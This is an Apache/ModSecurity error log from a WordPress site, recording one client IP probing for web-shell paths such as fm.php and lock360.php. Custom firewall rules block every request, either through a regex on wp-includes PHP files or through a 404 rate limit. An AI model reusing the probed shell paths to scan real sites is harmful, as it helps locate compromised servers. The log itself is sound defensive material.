[Fri Nov 21 19:21:16.234399 2025] [:error] [pid 46939:tid 46960] [client 134.149.18.28:18522] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminer.php"] [unique_id "aSBLLO0OmVoxD4VZ_ZnPxQAAAVI"]
[Fri Nov 21 19:21:20.149681 2025] [:error] [pid 25429:tid 25434] [client 134.149.18.28:63555] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminer.php"] [unique_id "aSBLMD4rZbRSr7vu-NPjTAAAAAE"]
[Fri Nov 21 19:21:22.124694 2025] [:error] [pid 25554:tid 25561] [client 134.149.18.28:63580] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminer.php"] [unique_id "aSBLMh-NtB-9AzFZrk6UTAAAAQM"]
[Fri Nov 21 19:21:25.622882 2025] [:error] [pid 25554:tid 25578] [client 134.149.18.28:19385] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminer.php"] [unique_id "aSBLNR-NtB-9AzFZrk6UTgAAARQ"]
[Fri Nov 21 19:21:27.200625 2025] [:error] [pid 25431:tid 25497] [client 134.149.18.28:63557] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/wp-ksv1i.php"] [unique_id "aSBLN8klhXxmoIExII17_AAAAIo"]
[Fri Nov 21 19:21:28.056502 2025] [:error] [pid 25430:tid 25484] [client 134.149.18.28:18678] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/wp-ksv1i.php"] [unique_id "aSBLOKpnWJcWt_4foXl8RgAAAFg"]
[Fri Nov 21 19:21:28.988751 2025] [:error] [pid 25431:tid 25496] [client 134.149.18.28:63564] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/wp-ksv1i.php"] [unique_id "aSBLOMklhXxmoIExII18AAAAAIk"]
[Fri Nov 21 19:21:32.659393 2025] [:error] [pid 25521:tid 25540] [client 134.149.18.28:19389] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/wp-ksv1i.php"] [unique_id "aSBLPPhXnBMilDddn3UrpAAAANE"]
[Fri Nov 21 19:21:35.292261 2025] [:error] [pid 25554:tid 25578] [client 134.149.18.28:18527] [client 134.149.18.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/crop/zmFM.php"] [unique_id "aSBLPx-NtB-9AzFZrk6UXwAAARQ"]
[Fri Nov 21 19:21:41.451934 2025] [:error] [pid 25429:tid 25448] [client 134.149.18.28:63524] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/admin.php"] [unique_id "aSBLRT4rZbRSr7vu-NPjaQAAAA8"]
[Fri Nov 21 19:21:44.003211 2025] [:error] [pid 25430:tid 25468] [client 134.149.18.28:63561] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/admin.php"] [unique_id "aSBLSKpnWJcWt_4foXl8WQAAAEg"]
[Fri Nov 21 19:21:47.072018 2025] [proxy_fcgi:error] [pid 25554:tid 25561] [client 134.149.18.28:19354] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 19:21:47.329239 2025] [:error] [pid 25554:tid 25562] [client 134.149.18.28:19354] [client 134.149.18.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/0.php"] [unique_id "aSBLSx-NtB-9AzFZrk6UZQAAAQQ"]
[Fri Nov 21 19:21:50.894958 2025] [:error] [pid 25521:tid 25526] [client 134.149.18.28:18541] [client 134.149.18.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aSBLTvhXnBMilDddn3UrtwAAAMM"]
[Fri Nov 21 19:22:01.461748 2025] [:error] [pid 25430:tid 25471] [client 134.149.18.28:19356] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/fm.php"] [unique_id "aSBLWapnWJcWt_4foXl8agAAAEs"]
[Fri Nov 21 19:22:03.062655 2025] [:error] [pid 25430:tid 25461] [client 134.149.18.28:18505] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/fm.php"] [unique_id "aSBLW6pnWJcWt_4foXl8bAAAAEE"]
[Fri Nov 21 19:22:09.160084 2025] [:error] [pid 25521:tid 25541] [client 134.149.18.28:18551] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/fm.php"] [unique_id "aSBLYfhXnBMilDddn3UrywAAANI"]
[Fri Nov 21 19:22:13.031891 2025] [:error] [pid 25521:tid 25540] [client 134.149.18.28:63575] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/fm.php"] [unique_id "aSBLZfhXnBMilDddn3UrzwAAANE"]
[Fri Nov 21 19:22:14.752398 2025] [:error] [pid 25521:tid 25546] [client 134.149.18.28:63582] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/17.php"] [unique_id "aSBLZvhXnBMilDddn3Ur0AAAANc"]
[Fri Nov 21 19:22:16.947052 2025] [:error] [pid 25521:tid 25532] [client 134.149.18.28:64159] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/17.php"] [unique_id "aSBLaPhXnBMilDddn3Ur1AAAAMk"]
[Fri Nov 21 19:22:19.176346 2025] [:error] [pid 25430:tid 25477] [client 134.149.18.28:18518] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/17.php"] [unique_id "aSBLa6pnWJcWt_4foXl8eQAAAFE"]
[Fri Nov 21 19:22:21.078448 2025] [:error] [pid 25431:tid 25492] [client 134.149.18.28:61805] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/17.php"] [unique_id "aSBLbcklhXxmoIExII18RgAAAIU"]
[Fri Nov 21 19:22:21.911169 2025] [:error] [pid 25429:tid 25440] [client 134.149.18.28:19371] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0.php"] [unique_id "aSBLbT4rZbRSr7vu-NPjlwAAAAc"]
[Fri Nov 21 19:22:24.322043 2025] [:error] [pid 25430:tid 25484] [client 134.149.18.28:18497] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0.php"] [unique_id "aSBLcKpnWJcWt_4foXl8ewAAAFg"]
[Fri Nov 21 19:22:25.093802 2025] [:error] [pid 46939:tid 46958] [client 134.149.18.28:18526] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0.php"] [unique_id "aSBLce0OmVoxD4VZ_ZnQHwAAAVA"]
[Fri Nov 21 19:22:26.584111 2025] [:error] [pid 25431:tid 25510] [client 134.149.18.28:18510] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0.php"] [unique_id "aSBLcsklhXxmoIExII18VAAAAJc"]
[Fri Nov 21 19:22:27.790087 2025] [:error] [pid 25431:tid 25487] [client 134.149.18.28:18525] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/Mailer.php"] [unique_id "aSBLc8klhXxmoIExII18VQAAAIA"]
[Fri Nov 21 19:22:32.207188 2025] [:error] [pid 25431:tid 25488] [client 134.149.18.28:19362] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/Mailer.php"] [unique_id "aSBLeMklhXxmoIExII18WwAAAIE"]
[Fri Nov 21 19:23:02.642121 2025] [:error] [pid 46939:tid 46950] [client 134.149.18.28:61795] [client 134.149.18.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aSBLlu0OmVoxD4VZ_ZnQVgAAAUg"]
[Fri Nov 21 19:23:15.712048 2025] [autoindex:error] [pid 25521:tid 25526] [client 134.149.18.28:61822] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 19:23:18.271972 2025] [:error] [pid 25521:tid 25546] [client 134.149.18.28:61822] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aSBLpvhXnBMilDddn3UsOgAAANc"]
[Fri Nov 21 19:23:21.103636 2025] [:error] [pid 25521:tid 25526] [client 134.149.18.28:63608] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aSBLqfhXnBMilDddn3UsPwAAAMM"]
[Fri Nov 21 19:23:25.371404 2025] [:error] [pid 25430:tid 25469] [client 134.149.18.28:18533] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aSBLrapnWJcWt_4foXl8oAAAAEk"]
[Fri Nov 21 19:23:29.207626 2025] [:error] [pid 25430:tid 25471] [client 134.149.18.28:64246] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aSBLsapnWJcWt_4foXl8owAAAEs"]
[Fri Nov 21 19:23:40.112489 2025] [:error] [pid 46939:tid 46958] [client 134.149.18.28:18534] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "aSBLvO0OmVoxD4VZ_ZnQggAAAVA"]
[Fri Nov 21 19:23:41.645671 2025] [:error] [pid 25521:tid 25530] [client 134.149.18.28:63542] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "aSBLvfhXnBMilDddn3UsaAAAAMc"]
[Fri Nov 21 19:23:48.309033 2025] [:error] [pid 25429:tid 25440] [client 134.149.18.28:63579] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uploads/multi.php"] [unique_id "aSBLxD4rZbRSr7vu-NPj9QAAAAc"]
[Fri Nov 21 19:24:37.986786 2025] [:error] [pid 25431:tid 25490] [client 134.149.18.28:57497] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/about.php"] [unique_id "aSBL9cklhXxmoIExII19TAAAAIM"]
[Fri Nov 21 19:24:42.340202 2025] [:error] [pid 25431:tid 25504] [client 134.149.18.28:57487] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/about.php"] [unique_id "aSBL-sklhXxmoIExII19TwAAAJE"]
[Fri Nov 21 19:24:44.496621 2025] [:error] [pid 46939:tid 46960] [client 134.149.18.28:18590] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1100.php"] [unique_id "aSBL_O0OmVoxD4VZ_ZnRIAAAAVI"]
[Fri Nov 21 19:24:47.101109 2025] [:error] [pid 46939:tid 46957] [client 134.149.18.28:57531] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1100.php"] [unique_id "aSBL_-0OmVoxD4VZ_ZnRIwAAAU8"]
[Fri Nov 21 19:24:50.053775 2025] [:error] [pid 46939:tid 46948] [client 134.149.18.28:18599] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1100.php"] [unique_id "aSBMAu0OmVoxD4VZ_ZnRMgAAAUY"]
[Fri Nov 21 19:24:52.787364 2025] [:error] [pid 25429:tid 25449] [client 134.149.18.28:57495] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1100.php"] [unique_id "aSBMBD4rZbRSr7vu-NPkSQAAABA"]
[Fri Nov 21 19:24:55.819820 2025] [:error] [pid 25430:tid 25462] [client 134.149.18.28:18601] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/403.php"] [unique_id "aSBMB6pnWJcWt_4foXl9HQAAAEI"]
[Fri Nov 21 19:24:57.844862 2025] [:error] [pid 25521:tid 25528] [client 134.149.18.28:18605] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/403.php"] [unique_id "aSBMCfhXnBMilDddn3UtLgAAAMU"]
[Fri Nov 21 19:25:04.591424 2025] [:error] [pid 46939:tid 46957] [client 134.149.18.28:18615] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/403.php"] [unique_id "aSBMEO0OmVoxD4VZ_ZnRtgAAAU8"]
[Fri Nov 21 19:25:09.879674 2025] [:error] [pid 25431:tid 25509] [client 134.149.18.28:65174] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aSBMFcklhXxmoIExII19hAAAAJY"]
[Fri Nov 21 19:25:20.921528 2025] [:error] [pid 25431:tid 25509] [client 134.149.18.28:18831] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aSBMIMklhXxmoIExII19vQAAAJY"]
[Fri Nov 21 19:25:22.742814 2025] [:error] [pid 25430:tid 25462] [client 134.149.18.28:53739] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aSBMIqpnWJcWt_4foXl9PgAAAEI"]
[Fri Nov 21 19:25:24.950475 2025] [:error] [pid 25554:tid 25571] [client 134.149.18.28:18816] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "aSBMJB-NtB-9AzFZrk6VnQAAAQ0"]
[Fri Nov 21 19:25:29.146033 2025] [:error] [pid 25521:tid 25526] [client 134.149.18.28:53728] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "aSBMKfhXnBMilDddn3UtnAAAAMM"]
[Fri Nov 21 19:25:39.026341 2025] [:error] [pid 25431:tid 25510] [client 134.149.18.28:53700] [client 134.149.18.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aSBMM8klhXxmoIExII195wAAAJc"]
[Fri Nov 21 19:25:41.081245 2025] [:error] [pid 25521:tid 25544] [client 134.149.18.28:18870] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSBMNfhXnBMilDddn3UtswAAANU"]
[Fri Nov 21 19:25:44.110624 2025] [:error] [pid 46939:tid 46943] [client 134.149.18.28:19233] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSBMOO0OmVoxD4VZ_ZnSHgAAAUE"]
[Fri Nov 21 19:25:46.952756 2025] [:error] [pid 25554:tid 25571] [client 134.149.18.28:19201] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSBMOh-NtB-9AzFZrk6VuQAAAQ0"]
